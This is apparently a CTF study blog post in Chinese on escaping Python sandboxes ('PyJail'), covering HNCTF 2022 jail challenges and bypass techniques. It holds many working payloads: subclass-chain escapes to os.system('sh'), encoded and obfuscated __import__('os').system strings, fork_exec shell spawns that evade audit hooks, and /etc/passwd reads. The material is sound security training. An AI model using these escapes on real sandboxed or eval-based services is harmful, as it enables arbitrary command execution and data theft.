PyJail

Fc04dB Lv3

# PyJail

# Python 的一些特性

# object 类的继承

Python3.x 版本中,类默认会继承 object

但在 Python2.x 中,默认不会继承

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# python2

class Person:
"""
不带object
"""
name = "zhengtong"


class Animal(object):
"""
带有object
"""
name = "chonghong"

if __name__ == "__main__":
x = Person()
print "Person", dir(x)

y = Animal()
print "Animal", dir(y)

运行结果:

1
2
3
4
Person ['__doc__', '__module__', 'name']
Animal ['__class__', '__delattr__', '__dict__', '__doc__', '__format__', '__getattribute__',
'__hash__', '__init__', '__module__', '__new__', '__reduce__', '__reduce_ex__', '__repr__',
'__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'name']

# python 中类本身具有一些静态方法

bytes.fromhexint.from_bytes 等。对于这些类的实例,也能调用这些静态方法。如 b'1'.fromhex('1234') ,返回 b'\x124' 。(一个特殊的例子是整数常量不支持这样操作,如输入 3.from_bytes 会报错)

# Python 魔术方法

  • __init__ :构造函数。这个在实例化类的时候就会用到,一般是接受类初始化的参数,并且进行一系列初始化操作。

  • __len__ :返回对象的长度。对一个对象 a 使用 len(a) 时,会尝试调用 a.__len__() 。例如要通过继承 torch.utils.data.Dataset 来实现自己的数据集时,就需要实现这个方法;

  • __str__ :返回对象的字符串表示。对一个对象 a 使用 str(a) 时,会尝试调用 a.__str__() 。这在我们自己实现一些类,譬如复数、二叉树、有限域、椭圆曲线等时,通过实现该方法,能将对象的内容较好地打印出来。( print 函数中也会自动调用对象的 __str__ 方法)相似地,还有 __int__ 魔术方法也用于类型转换,不过较少使用;

  • __getitem__ :根据索引返回对象的某个元素。对一个对象 a 使用 a[1] 时,会尝试调用 a.__getitem__(1) 。同样,当我们通过继承 torch.utils.data.Dataset 来实现自己的数据集时,就需要实现这个方法。有 __getitem__ ,自然也有对应的 __setitem__

  • __add____sub____mul____div____mod__ :算术运算,加减乘除模。如对一个对象 a 使用 a+b 时,会尝试调用 a.__add__(b) 。相应地,对于有些运算,对象需放在后面(第二个操作数)的,则需实现 __radd____rsub____rmul____rdiv____rmod__ ,如椭圆曲线上的点的倍点运算 G -> d * G ,就可以通过实现 __rmul__ 来实现。

  • __and____or____xor__ :逻辑运算,和算术运算类似;

  • __eq____ne____lt____gt____le____ge__ :比较运算,和算术运算类似;例如 '贵州' > '广西' ,就会转而调用 '贵州'.__gt__('广西') ;按顺序分别是 == , != , < , > , <= , >=

  • __getattr__ :访问一个不存在的属性时触发。如果我们对对象 a 所对应的类实现了该方法,那么在调用未实现的 a.b 时,就会转而调用 a.__getattr__(b) 。这也等价于用函数的方法调用: getattr(a, 'b') 。有 __getattr__ ,自然也有对应的 __setattr__

  • __setattr__ :在对一个属性设置值的时候,会调用到这个函数

  • __subclasses__ :返回当前类的所有子类。一般是用在 object 类中,在 object.__subclasses__() 中,我们可以找到 os 模块中的类,然后再找到 os ,并且执行 os.system ,实现 RCE。

  • 相对应地,python 的类中也包含着一些魔术属性:

  • __dict__ :可以查看内部所有属性名和属性值组成的字典。譬如下面这段代码:
1
2
3
4
class KFCCrazyThursday:
vivo = 50

print(KFCCrazyThursday.__dict__)

就能看到字典中包含 'vivo': 50 的键值对。注意在 python 中, dict() 是将类转成字典的函数,跟此魔术属性无关。

  • __doc__ :类的帮助文档。默认类均有帮助文档。对于自定义的类,需要我们自己实现。

    1
    2
    3
    4
    5
    6
    7
    class KFCCrazyThursday:
    '''
    And you broke up for seven years, you still can affect my mood, I still keep our photo, remember your birthday, OK? I have countless times to find your impulse, But still hold back, this message I do not block you, because I am your forever blacklist, but I love you, from the past to the present, a full love of you for eight years, But now I'm not sad, because I have no idea who wrote this or who this girl is, and I just want to tell you by the way: Today is Crazy Thursday, I want to eat KFC
    '''
    vivo = 50

    print(KFCCrazyThursday.__doc__)

    就会打印上面的文档;

    • __class__ :返回当前对象所属的类。如 ''.__class__ 会返回 <class 'str'> 。拿到类之后,就可以通过构造函数生成新的对象,如 ''.__class__(4396) ,就等价于 str(4396) ,即 '4396'
    • __base__ :返回当前类的基类。如 str.__base__ 会返回 <class 'object'>

# 一些重要的内置函数和变量:

  • dir :查看对象的所有属性和方法。在我们没有思路的时候,可以通过该函数查看所有可以利用的方法;此外,在题目禁用引号以及小数点时,也可以先用拿到类所有可用方法,再索引到方法名,并且通过 getattr 来拿到目标方法。
  • chrord :字符与 ASCII 码转换函数,能帮我们绕过一些 WAF
  • globals :返回所有全局变量的函数;
  • locals :返回所有局部变量的函数;
  • __import__ :载入模块的函数。例如 import os 等价于 os = __import__('os')
  • __name__ :该变量指示当前运行环境位于哪个模块中。如我们 python 一般写的 if __name__ == '__main__': ,就是来判断是否是直接运行该脚本。如果是从另外的地方 import 的该脚本的话,那 __name__ 就不为 __main__ ,就不会执行之后的代码。更多参考这里
  • __builtins__ :包含当前运行环境中默认的所有函数与类。如上面所介绍的所有默认函数,如 strchrorddictdir 等。在 pyjail 的沙箱中,往往 __builtins__ 被置为 None ,因此我们不能利用上述的函数。所以一种思路就是我们可以先通过类的基类和子类拿到 __builtins__ ,再 __import__('os').system('sh') 进行 RCE;
  • __file__ :该变量指示当前运行代码所在路径。如 open(__file__).read() 就是读取当前运行的 python 文件代码。需要注意的是,该变量仅在运行代码文件时会产生,在运行交互式终端时不会有此变量
  • _ :该变量返回上一次运行的 python 语句结果。需要注意的是,该变量仅在运行交互式终端时会产生,在运行代码文件时不会有此变量

# HNCTF 2022 Jail

# calc_jail_beginner

源码

1715085559866.png

注释写着答案

1715079686139.png

# calc_jail_beginner_level1

1715085567940.png

经过试错可以发现时 flag 字符被过滤了,可以使用 chr() 绕过

1715085345824.png

# calc_jail_beginner_level2

1715085670839.png

长度限制 13 个字符

eval(input()) 就不会限制长度了

image.png

# calc_jail_beginner_level2.5

image.png

试错之后发现 ban 了 eval,input,exec

可以使用 unicode 注入 𝓮val(inp𝓾t())

image.png

也可以用 breakpoint() , 一个调试函数,执行后可以执行一些命令不被绕过

# calc_jail_beginner_level3

image.png

限制只有 7 个字符

1、输入:help (),这里字符串长度只有 6,会进入正常调用 eval 函数;

2、进入 help 交互式,然后输入任意一个模块名获得该模块的帮助文档,如 sys;

3、在 Linux 中,这里呈现帮助文档时,实际上是调用了系统里的 less 或 more 命令,可以利用这俩个命令执行本地命令的特性来获取一个 shell,继续按 #!,再执行外部命令 sh 即可。

image.png

image.png

# python2 input

这是一个 python2 的 jail

image.png

因为上面提到的在 python2 类中默认不继承 object 类,需要构造 import

image.png

# lake lake lake

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#it seems have a backdoor
#can u find the key of it and use the backdoor

fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"

def func():
code = input(">")
if(len(code)>9):
return print("you're hacker!")
try:
print(eval(code))
except:
pass

def backdoor():
print("Please enter the admin key")
key = input(">")
if(key == fake_key_var_in_the_local_but_real_in_the_remote):
code = input(">")
try:
print(eval(code))
except:
pass
else:
print("Nooo!!!!")

WELCOME = '''
_ _ _ _ _ _
| | | | | | | | | | | |
| | __ _| | _____ | | __ _| | _____ | | __ _| | _____
| |/ _` | |/ / _ \ | |/ _` | |/ / _ \ | |/ _` | |/ / _ \
| | (_| | < __/ | | (_| | < __/ | | (_| | < __/
|_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|
'''

print(WELCOME)

print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
func()
exit(0)
elif(input_data == "2"):
backdoor()
exit(0)
else:
print("not found the choice")
exit(0)

先走 1 通道拿到 key 然后到 2 验证

image.png

image.png

# l@ke l@ke l@ke

还是两步走,通道 1,长度不超过 6 来获取 key,通道 2 验证 key

对于通道 1,我们调用 help() 进入函数,输入 server 查看 key
image.png

image.png

# calc_jail_beginner_level4

'__loader__', '__import__', 'compile', 'eval', 'exec', 'chr' 等函数都 ban 掉了 后面又将单引号、双引号、反斜杠、反引号给 ban 了

尝试使用之前的 SSTI 注入 先查询 object 类下的子类 查看可以使用的模块

1
().__class__.__base__.__subclasses__()

发现可以使用 os 模块

禁用了 chr,可以使用 byte []

payload:

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[bytes([115,121,115,116,101,109]).decode()](bytes([115,104]).decode())

image.png

另外,同样是使用 bytes () 函数 猜测 flag 文件的位置和名字 可以直接对 open('flag').read() 进行转化 直接读取 flag

1
open(bytes([102,108,97,103]).decode()).read()

# calc_jail_beginner_level4.0.5

image.png

# calc_jail_beginner_level4.1

没有 hint 了,接下来就是脑洞的碰撞了

连接靶机

Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes and ,",’ `

bytes [] 被 ban 了,就需要用 type 了,二者的关系:

1
2
system == [bytes([115,121,115,116,101,109]).decode()]
"system" == (type(str(1).encode())([115])+type(str(1).encode())([121])+type(str(1).encode())([115])+type(str(1).encode())([116])+type(str(1).encode())([101])+type(str(1).encode())([109])).decode()

利用下面 payload 可以执行 ls,同理可以 cat flag

1
[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115])+type(str(1).encode())([121])+type(str(1).encode())([115])+type(str(1).encode())([116])+type(str(1).encode())([101])+type(str(1).encode())([109])).decode()]((type(str(1).encode())([108])+type(str(1).encode())([115])).decode())

image.png

也可以利用 Show subclasses with tuple 找到 bytes 类:结果为 bytes 类的索引为 6

可以构造 payload 拿到 sh

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101, 109]).decode()](().__class__.__base__.__subclasses__()[6]([115, 104]).decode())

image.png

也可以利用 __doc__ getshell

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__doc__[19]+().__doc__[86]+().__doc__[19]+().__doc__[4]+().__doc__[17]+().__doc__[10]](().__doc__[19]+().__doc__[56])

# calc_jail_beginner_level4.2

1
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,byte and `,",',+ Good luck!

加号被 ban 了,可以用 __add__ 代替

跟 4.1 类似执行 system("flag_y0u_CaNt_FiNd_mE")

payload:

1
[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115]).__add__(type(str(1).encode())([121])).__add__(type(str(1).encode())([115])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([101])).__add__(type(str(1).encode())([109]))).decode()]((type(str(1).encode())([99]).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([32])).__add__(type(str(1).encode())([102])).__add__(type(str(1).encode())([108])).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([103])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([121])).__add__(type(str(1).encode())([48])).__add__(type(str(1).encode())([117])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([67])).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([78])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([70])).__add__(type(str(1).encode())([105])).__add__(type(str(1).encode())([78])).__add__(type(str(1).encode())([100])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([109])).__add__(type(str(1).encode())([69]))).decode())

image.png

也可以继续用 4.1 的利用 bytes 索引的 payload

和利用 __doc__ 的方法,但需要利用 join 的拼接方式

payload:

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[str().join([().__doc__[19],().__doc__[86],().__doc__[19],().__doc__[4],().__doc__[17],().__doc__[10]])](str().join([().__doc__[19],().__doc__[56]]))

# calc_jail_beginner_level4.3

Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes,open,type and ,",’,+`

type 也被 ban 了,还可以利用 list(dict(system=114514))[0] 获取 system 这个字符串

因此直接执行 system(sh)

payload:

1
[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[list(dict(system=1))[0]](list(dict(sh=1))[0])

image.png

并且,上面两道题的后两种方法还可以用

# calc_jail_beginner_level5.1

尝试之后发现 importopen 都被 ban 了

尝试 dir()

image.png

一路跟进

image.png

发现 encode,直接利用

image.png

# lake lake lake

hook 了很多函数

1
2
3
4
def my_audit_hook(event, _):
BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen','code.__new__','function.__new__','cpython._PySys_ClearAuditHooks','open'})
if event in BALCKED_EVENTS:
raise RuntimeError('Operation banned: {}'.format(event))

分析一下猜数字的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def guesser():
game_score = 0
sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ')
sys.stdout.flush()
right_guesser_question_answer = random.randint(1, 9999999999999)
sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout

try:
input_data = eval_func(input(''),{},{})
except Exception:
sys.stdout = challenge_original_stdout
print("Seems not right! please guess it!")
return game_score
sys.stdout = challenge_original_stdout

if input_data == right_guesser_question_answer:
game_score += 1

return game_score

可知我们需要猜出 right_guesser_question_answer 才可以获取 flag,同时还给 sys.stdoutsys.seterr 进行了重定向,调用 print 无法输出。

一些解释:python 的 sys.stdout 重定向

但是可以通过 __import__("sys").__stdout__.write() 去输入。

那么我们的思路就是,读文件,然后输出

用 os.open 打开文件,然后用 os.read 读文件,当然也可以用 __import__('io').open("flag").read()

payload:

1
__import__("sys").__stdout__.write(__import__("os").read(__import__("os").open("flag",__import__("os").O_RDONLY), 0x114).decode())

image.png

# lak3 lak3 lak3

直接把 io、system 之类的函数全给 hook 掉了,还把上一题的 open 等更多的函数给 ban 了

也是猜数字,答案在 right_guesser_question_answer ,想办法获取该值

image.png

可以使用 __import__("sys").__stdout__.write 去进行标准输出,

1
__import__("sys").__stdout__.write(str(__import__('sys')._getframe(1)))

image.png

这里的 frame 对象指向了’/home/ctf/./server.py’这个 file,那么直接调用 f_locals 属性查看变量

1
__import__("sys").__stdout__.write(str(__import__('sys')._getframe(1).f_locals))

image.png

最终 payload:

1
int(str(__import__('sys')._getframe(1).f_locals["right_guesser_question_answer"]))

image.png

# s@Fe safeeval

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Black List:

[
'POP_TOP','ROT_TWO','ROT_THREE','ROT_FOUR','DUP_TOP',
'BUILD_LIST','BUILD_MAP','BUILD_TUPLE','BUILD_SET',
'BUILD_CONST_KEY_MAP', 'BUILD_STRING','LOAD_CONST','RETURN_VALUE',
'STORE_SUBSCR', 'STORE_MAP','LIST_TO_TUPLE', 'LIST_EXTEND', 'SET_UPDATE',
'DICT_UPDATE', 'DICT_MERGE','UNARY_POSITIVE','UNARY_NEGATIVE','UNARY_NOT',
'UNARY_INVERT','BINARY_POWER','BINARY_MULTIPLY','BINARY_DIVIDE','BINARY_FLOOR_DIVIDE',
'BINARY_TRUE_DIVIDE','BINARY_MODULO','BINARY_ADD','BINARY_SUBTRACT','BINARY_LSHIFT',
'BINARY_RSHIFT','BINARY_AND','BINARY_XOR','BINARY_OR','MAKE_FUNCTION', 'CALL_FUNCTION'
]

some code:

import os
import sys
import traceback
import pwnlib.util.safeeval as safeeval
input_data = input('> ')
print(expr(input_data))
def expr(n):
if TURING_PROTECT_SAFE:
m = safeeval.test_expr(n, blocklist_codes)
return eval(m)
else:
return safeeval.expr(n)

对比下 pwnlib.util.safeeval 中的代码,可以看到 blacklist 中多了两个可以执行的 opcode

MAKE_FUNCTION
CALL_FUNCTION

很显然出题人想让我们执行函数调用 / 编写。

第一时间能想到的是 lambda,然后直接调用就行了,payload 为:

1
(lambda:os.system('cat flag'))()

image.png

# calc_jail_beginner_level6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
 _                _                           _       _ _   _                _   __  
| | (_) (_) (_) | | | | | / /
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| |/ /_
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ | '_ \
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | (_) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_|\___/
__/ | _/ |
|___/ |__/

Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
White list of audit hook ===> builtins.input,builtins.input/result,exec,compile
Some code of python jail:

dict_global = dict()
while True:
try:
input_data = input("> ")
except EOFError:
print()
break
except KeyboardInterrupt:
print('bye~~')
continue
if input_data == '':
continue
try:
complie_code = compile(input_data, '<string>', 'single')
except SyntaxError as err:
print(err)
continue
try:
exec(complie_code, dict_global)
except Exception as err:
print(err)

>

这题已经几乎把所有的 hook 给 ban 掉了。参考这个 writeup:https://ctftime.org/writeup/31883

也就是利用 _posixsubprocess.fork_exec 来实现 RCE。不过需要注意,不同的 python 版本的 _posixsubprocess.fork_exec 接受的参数个数可能不一样:例如本地 WSL 的 python 版本为 3.8.10,该函数接受 17 个参数;而远程 python 版本为 3.10.6,该函数和上面的 writeup 接受 21 个参数。

而且注意到,直接 import _posixsubprocess 的话,会触发 audit hook

可以通过如下方法绕过:

1
2
__builtins__['__loader__'].load_module('_posixsubprocess')
__loader__.load_module('_posixsubprocess')

而且因为是多次 exec,所以我们可以输入多行代码:

1
2
import os
__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1,*(os.pipe()), False, False, None, None, None, -1, None)

image.png

# calc_jail_beginner_level6.1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
  _                _                           _       _ _   _                _   __
| | (_) (_) (_) | | | | | / /
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| |/ /_
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ | '_ \
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | (_) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_|\___/
__/ | _/ |
|___/ |__/

Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
White list of audit hook ===> builtins.input,builtins.input/result,exec,compile
Some code of python jail:

dict_global = dict()
input_code = input("> ")
complie_code = compile(input_code, '<string>', 'single')
exec(complie_code, dict_global)

>

和上面那题不同,在这里我们仅有一次代码执行机会。

不过不慌,我们之前提到了 python 3.8 引入的海象运算符,还是可以通过用海象运算符和 list 的方式弄出代码:

1
[os := __import__('os'), _posixsubprocess := __loader__.load_module('_posixsubprocess'), _posixsubprocess.fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None)]

但是 payload 发送过去之后,能弹 shell,但是 shell 秒关,输入任何命令也不见回显。

可以看看假设我们暴力多次尝试起 shell,会发生什么:

1
[os := __import__('os'), _posixsubprocess := __loader__.load_module('_posixsubprocess'), [_posixsubprocess.fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None) for i in range(100000)]]

先将要执行的 shell 命令复制进剪贴板,然后在它疯狂回显的时候,疯狂粘贴回车,看看能不能执行。结果居然有一定概率会回显执行命令的结果!于是就在这种破烂 shell 下拿到了 flag……

不过还有更加优雅(?)的做法:利用 itertools 中的无限迭代器 来暴力起 shell。不过实测好像并达不到无限:猜测远程起进程的个数有限,到一定数目之后会炸:

1
[os := __import__('os'), itertools := __loader__.load_module('itertools'), _posixsubprocess := __loader__.load_module('_posixsubprocess'), [_posixsubprocess.fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None) for i in itertools.count(0)]]

# calc_jail_beginner_level7

1
2
3
4
5
6
G
=================================================================================================
== Black List AST: ==
== 'Import,ImportFrom,Call,Expr,Add,Lambda,FunctionDef,AsyncFunctionDef ==
== Sub,Mult,Div,Del' ==
=================================================================================================

虽然没有了 import 和 call,但有一个魔术方法 metaclass 。可以通过 metaclass 给类添加属性。

猜测一下,既然能添加类的属性,那是否可以修改呢?也就是说如果我们将一个类的某一个属性修改为 os.system 这样的函数,那么这样一来在我们调用的时候就可以执行了。现在的问题是需要一个可以传入字符串的属性,发现正好 __getitem__ 符合条件。

__getitem__ 是用来取列表或者字典的值的一个属性,如果我们将一个类的 __getitem__ 改为 os.system 的话是不是就可以执行 shell 了哈哈

举个例子:

1
2
3
4
5
6
import os

class WOOD():
pass
WOOD.__getitem__=os.system
WOOD()['ls']

运行后发现执行了 ls 但这样依然无法解决这个题,如果我们将上述代码转为 AST 查看,会发现有 Call 和 Expr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import ast

src='''
import os

class WOOD():
pass
WOOD.__getitem__=os.system
WOOD()['ls']
'''
ast_node = ast.parse(src, "test", mode="exec")
print(ast.dump(ast_node))

"""
Module(body=[Import(names=[alias(name='os', asname=None)]), ClassDef(name='WOOD', bases=[], keywords=[], body=[Pass()], decorator_list=[]), Assign(targets=[Attribute(value=Name(id='WOOD', ctx=Load()), attr='__getitem__', ctx=Store())], value=Attribute(value=Name(id='os', ctx=Load()), attr='system', ctx=Load()), type_comment=None), Expr(value=Subscript(value=Call(func=Name(id='WOOD', ctx=Load()), args=[], keywords=[]), slice=Index(value=Constant(value='ls', kind=None)), ctx=Load()))], type_ignores=[])
"""

对于如何避开 Expr ,我们给执行的内容赋值就行。

1
tmp = WOOD()['ls']

如何绕过 Call ?可以用 metaclass ,我们指定一个类的 __getitem__==os.system ,使用 mateclass 可以让类拥有属性,但不是类生成的对象具有这个属性,这样我们就不用调用实例化类的 Call,从而进行绕过 Call。

因此最终 payload 为:

1
2
3
4
5
class WOOD(type):
__getitem__=os.system
class WHALE(metaclass=WOOD):
pass
tmp = WHALE['sh']

image.png

# RCE

# 绕过删除模块或方法

del 会删除模块或方法,比如下面删除了 builitins 模块的 eval 方法

1
2
3
4
5
6
7
>>> __builtins__.__dict__['eval']
<built-in function eval>
>>> del __builtins__.__dict__['eval']
>>> __builtins__.__dict__['eval']
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
KeyError: 'eval'

# reload 重加载

reload 可以重新加载被删除的模块

1
2
3
4
5
6
7
8
9
10
11
>>> __builtins__.__dict__['eval']
<built-in function eval>
>>> del __builtins__.__dict__['eval']
>>> __builtins__.__dict__['eval']
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
KeyError: 'eval'
>>> reload(__builtins__)
<module '__builtin__' (built-in)>
>>> __builtins__.__dict__['eval']
<built-in function eval>

在 Python 3 中, reload() 函数被移动到 importlib 模块中,所以如果要使用 reload() 函数,需要先导入 importlib 模块。

# 恢复 sys.modules

一些过滤中可能将 sys.modules['os'] 进行修改。这个时候即使将 os 模块导入进来,也是无法使用的.

1
2
3
4
5
>>> sys.modules['os'] = 'not allowed'
>>> __import__('os').system('ls')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'str' object has no attribute 'system'

由于很多别的命令执行库也使用到了 os, 因此也会受到相应的影响,例如 subprocess

1
2
3
4
5
6
7
8
>>> __import__('subprocess').Popen('whoami', shell=True)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/home/kali/.pyenv/versions/3.8.10/lib/python3.8/subprocess.py", line 688, in <module>
class Popen(object):
File "/home/kali/.pyenv/versions/3.8.10/lib/python3.8/subprocess.py", line 1708, in Popen
def _handle_exitstatus(self, sts, _WIFSIGNALED=os.WIFSIGNALED,
AttributeError: 'str' object has no attribute 'WIFSIGNALED'

由于 import 导入模块时会检查 sys.modules 中是否已经有这个类,如果有则不加载,没有则加载。因此我们只需要将 os 模块删除,然后再次导入即可.

1
2
3
4
5
sys.modules['os'] = 'not allowed' 

del sys.modules['os'] #删除os模块
import os #重新导入
os.system('ls')

# 基于继承链获取

在清空了 __builtins__ 的情况下,我们也可以通过索引 subclasses 来找到这些内建函数。

1
2
3
# 根据环境找到 bytes 的索引,此处为 5
>>> ().__class__.__base__.__subclasses__()[5]
<class 'bytes'>

在上面 calc_jail_beginner_level4.1 题目中运用到了这个方式

# 绕过基于字符串匹配的过滤

# 字符串转换

# 字符串拼接

在我们的 payload 中,例如如下的 payload, __builtins__ file 这些字符串如果被过滤了,就可以使用字符串变换的方式进行绕过。

1
2
3
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('E:/passwd').read()

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__buil'+'tins__']['fi'+'le']('E:/passwd').read()

局限性:如果过滤的是 __class__ 或者 __mro__ 这样的属性名,就无法采用变形来绕过了。

# base64 变形
1
2
3
4
5
6
7
>>> import base64
>>> base64.b64encode('__import__')
'X19pbXBvcnRfXw=='
>>> base64.b64encode('os')
'b3M='
>>> __builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).system('calc')
0
# 逆序
1
2
3
4
>>> eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])
kali
>>> exec(')"imaohw"(metsys.so ;so tropmi'[::-1])
kali

注意 exec 与 eval 在执行上有所差异。

eval 函数用于计算传递给它的 Python 表达式,并返回结果。它通常用于执行单一表达式,并将其结果赋值给变量。

exec 函数用于执行包含 Python 代码块的字符串。它通常用于执行多行代码,而不返回任何结果。

# 进制转换

八进制:

1
2
exec("print('RCE'); __import__('os').system('ls')")
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")

exp:

1
2
3
s = "eval(list(dict(v_a_r_s=True))[len([])][::len(list(dict(aa=()))[len([])])])(__import__(list(dict(b_i_n_a_s_c_i_i=1))[False][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b___b_a_s_e_6_4=1))[False][::len(list(dict(aa=()))[len([])])]](list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkg=True))[False])"
octal_string = "".join([f"\\{oct(ord(c))[2:]}" for c in s])
print(octal_string)

十六进制:

1
exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")

exp:

1
2
3
s = "eval(eval(list(dict(v_a_r_s=True))[len([])][::len(list(dict(aa=()))[len([])])])(__import__(list(dict(b_i_n_a_s_c_i_i=1))[False][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b___b_a_s_e_6_4=1))[False][::len(list(dict(aa=()))[len([])])]](list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkg=True))[False]))"
octal_string = "".join([f"\\x{hex(ord(c))[2:]}" for c in s])
print(octal_string)
# 其他编码

hex、rot13、base32 等。

# 过滤了属性名或者函数名

在 payload 的构造中,我们大量的使用了各种类中的属性,例如 __class____import__ 等。

# getattr 函数

getattr 是 python 的内置函数,用于获取对象的属性或方法,其语法如下:

1
getattr(object,name[,default])

这里,object 是对象,name 是字符串,代表要获取的属性的名称。如果提供了 default 参数,当属性不存在时会返回这个值,否则会抛出 AttributeError。

1
2
3
4
5
6
7
8
>>> getattr({},'__class__')
<class 'dict'>
>>> getattr(os,'system')
<built-in function system>
>>> getattr(os,'system')('cat /etc/passwd')
root:x:0:0:root:/root:/usr/bin/zsh
>>> getattr(os,'system111',os.system)('cat /etc/passwd')
root:x:0:0:root:/root:/usr/bin/zsh

这样一来,就可以将 payload 中的属性名转化为字符串,字符串的变换方式多种多样,更易于绕过黑名单。

# __getattribute__ 函数

__getattribute__ 于,它定义了当我们尝试获取一个对象的属性时应该进行的操作。

它的基本语法如下:

1
2
class MyClass:
def __getattribute__(self, name):

getattr 函数在调用时,实际上就是调用这个类的 __getattribute__ 方法。

1
2
3
4
>>> os.__getattribute__
<method-wrapper '__getattribute__' of module object at 0x7f06a9bf44f0>
>>> os.__getattribute__('system')
<built-in function system>
# __getattr__ 函数

__getattr__ 是 Python 的一个特殊方法,当尝试访问一个对象的不存在的属性时,它就会被调用。它允许一个对象动态地返回一个属性值,或者抛出一个 AttributeError 异常。

如下是 __getattr__ 方法的基本形式:

1
2
3
class MyClass:
def __getattr__(self, name):
return 'You tried to get ' + name

在这个例子中,任何你尝试访问的不存在的属性都会返回一个字符串,形如 “You tried to get X”,其中 X 是你尝试访问的属性名。

__getattribute__ 不同, __getattr__ 只有在属性查找失败时才会被调用,这使得 __getattribute__ 可以用来更为全面地控制属性访问。

如果在一个类中同时定义了 __getattr____getattribute__ ,那么无论属性是否存在, __getattribute__ 都会被首先调用。只有当 __getattribute__ 抛出 AttributeError 异常时, __getattr__ 才会被调用。

另外,所有的类都会有 __getattribute__ 属性,而不一定有 __getattr__ 属性。

# __globals__ 替换

__globals__ 可以用 func_globals 直接替换;

1
2
3
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals
